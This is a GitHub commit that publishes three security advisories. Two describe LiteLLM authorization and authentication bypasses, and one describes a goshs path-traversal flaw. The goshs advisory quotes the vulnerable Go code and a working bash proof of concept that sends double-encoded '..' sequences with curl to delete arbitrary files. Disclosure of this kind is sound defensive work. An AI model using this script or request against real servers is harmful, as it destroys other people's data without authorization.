Skip to content

Commit 087d359

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-53mr-6c8q-9789 GHSA-6qcc-6q27-whp8 GHSA-jjhc-v7c2-5hh6
1 parent f8325f0 commit 087d359

3 files changed

Lines changed: 175 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/04/GHSA-53mr-6c8q-9789/GHSA-53mr-6c8q-9789.json‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-53mr-6c8q-9789",
4+
"modified": "2026-04-03T21:59:31Z",
5+
"published": "2026-04-03T21:59:31Z",
6+
"aliases": [
7+
"CVE-2026-35029"
8+
],
9+
"summary": "LiteLLM: Privilege escalation via unrestricted proxy configuration endpoint",
10+
"details": "### Impact\n\nThe `/config/update endpoint` does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to do the following:\n\n - Modify proxy configuration and environment variables\n - Register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution\n - Read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image\n - Take over other priveleged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables\n\n### Patches\n\nFixed in v1.83.0. The endpoint now requires `proxy_admin` role.\n\n### Workarounds\n\nRestrict API key distribution. There is no configuration-level workaround.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "litellm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.83.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-53mr-6c8q-9789"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/BerriAI/litellm"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-863"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T21:59:31Z",
55+
"nvd_published_at": null
56+
}
57+
}

‎advisories/github-reviewed/2026/04/GHSA-6qcc-6q27-whp8/GHSA-6qcc-6q27-whp8.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6qcc-6q27-whp8",
4+
"modified": "2026-04-03T21:58:48Z",
5+
"published": "2026-04-03T21:58:47Z",
6+
"aliases": [
7+
"CVE-2026-35471"
8+
],
9+
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)",
10+
"details": "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n fileCleaned, _ := url.QueryUnescape(upath)\n if strings.Contains(fileCleaned, \"..\") {\n w.WriteHeader(500)\n _, err := w.Write([]byte(\"Cannot delete file\"))\n if err != nil {\n logger.Errorf(\"error writing answer to client: %+v\", err)\n }\n // BUG: no return, falls through to os.RemoveAll\n }\n\n deletePath := filepath.Join(fs.Webroot, fileCleaned)\n err := os.RemoveAll(deletePath) // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nTARGET=\"${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\n\n# Double-encode \"..\" => %252e%252e\n# We don't know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target: ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/patrickhener/goshs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/patrickhener/goshs"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-22"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-03T21:58:47Z",
59+
"nvd_published_at": null
60+
}
61+
}

‎advisories/github-reviewed/2026/04/GHSA-jjhc-v7c2-5hh6/GHSA-jjhc-v7c2-5hh6.json‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jjhc-v7c2-5hh6",
4+
"modified": "2026-04-03T21:59:50Z",
5+
"published": "2026-04-03T21:59:50Z",
6+
"aliases": [
7+
"CVE-2026-35030"
8+
],
9+
"summary": "LiteLLM: Authentication bypass via OIDC userinfo cache key collision",
10+
"details": "### Impact\n\nWhen JWT authentication is enabled (`enable_jwt_auth: true`), the OIDC userinfo cache uses `token[:20]` as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters.\n\nThis configuration option is not enabled by default. **Most instances are not affected.**\n\nAn unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled.\n\n### Patches\n\nFixed in v1.83.0. The cache key now uses the full hash of the JWT token.\n\n### Workarounds\n\nDisable OIDC userinfo caching by setting the cache TTL to 0, or disable JWT authentication entirely.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "litellm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.83.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/BerriAI/litellm"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-287"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-03T21:59:50Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)